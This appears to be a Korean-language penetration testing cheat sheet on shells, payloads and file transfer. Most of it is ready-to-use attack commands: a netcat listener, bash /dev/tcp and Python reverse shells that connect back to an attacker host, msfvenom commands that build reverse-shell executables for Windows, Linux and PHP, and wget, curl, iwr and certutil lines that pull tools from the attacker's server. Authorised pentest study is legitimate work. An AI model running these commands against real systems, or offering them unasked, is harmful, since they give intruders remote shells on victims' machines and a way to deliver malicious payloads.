Notes / Penetration Testing
셸·페이로드·파일전송 도구 치트시트
리스너 준비, 리버스/바인드 셸, msfvenom 페이로드 생성, 그리고 호스트 간 파일 전송을 상황별로 정리한 치트시트입니다.
목차
셸은 “리스너를 먼저 띄우고 → 대상이 나에게 연결(리버스)”가 기본입니다. 방화벽이 아웃바운드만 허용하는 환경에서 리버스가 바인드보다 잘 통합니다. 예시의
$LHOST·$LPORT는 내 쪽 주소/포트입니다.
개념
flowchart LR
L[리스너 대기] --> P[페이로드 전달]
P --> R[대상이 역접속]
R --> U[셸 안정화]
- 리버스 셸: 대상 → 나. 아웃바운드 허용 환경에서 유리.
- 셸 안정화(TTY): 받은 셸을 바로 쓰면 Ctrl-C에 죽습니다. 먼저 업그레이드.
- 파일 전송: 임시 HTTP 서버가 가장 간단하고 범용.
공격·우회 구문
허가된 범위에서만. $LHOST/$LPORT는 내 쪽입니다.
리스너 · 리버스 셸
# 리스너
nc -lvnp $LPORT
# 리눅스 대상 리버스 셸(여러 변형 중 하나)
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
# 파이썬 변형
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'$LHOST'",'$LPORT'));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'
셸 안정화(TTY 업그레이드)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z 후
stty raw -echo; fg
export TERM=xterm
판단 포인트: 셸을 안정화하기 전에는
su·sudo·대화형 프로그램이 멎습니다. 권한상승을 시작하기 전에 TTY부터 올립니다.
msfvenom — 페이로드 생성
# 윈도우 실행형 리버스 셸
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o rev.exe
# 리눅스 ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o rev.elf
# 웹 — PHP
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o rev.php
판단 포인트: 아키텍처(x86/x64)와 스테이지(staged
shell/...vs non-stagedshell_reverse...)를 리스너와 맞춰야 합니다. 안 맞으면 연결은 되는데 셸이 안 뜹니다.
파일 전송
# 공격 호스트에서 임시 서버
python3 -m http.server 80
# 리눅스 대상에서 받기
wget http://$LHOST/tool -O tool ; curl http://$LHOST/tool -o tool
# 윈도우 대상에서 받기
iwr -uri http://$LHOST/tool.exe -Outfile tool.exe
certutil -urlcache -f http://$LHOST/tool.exe tool.exe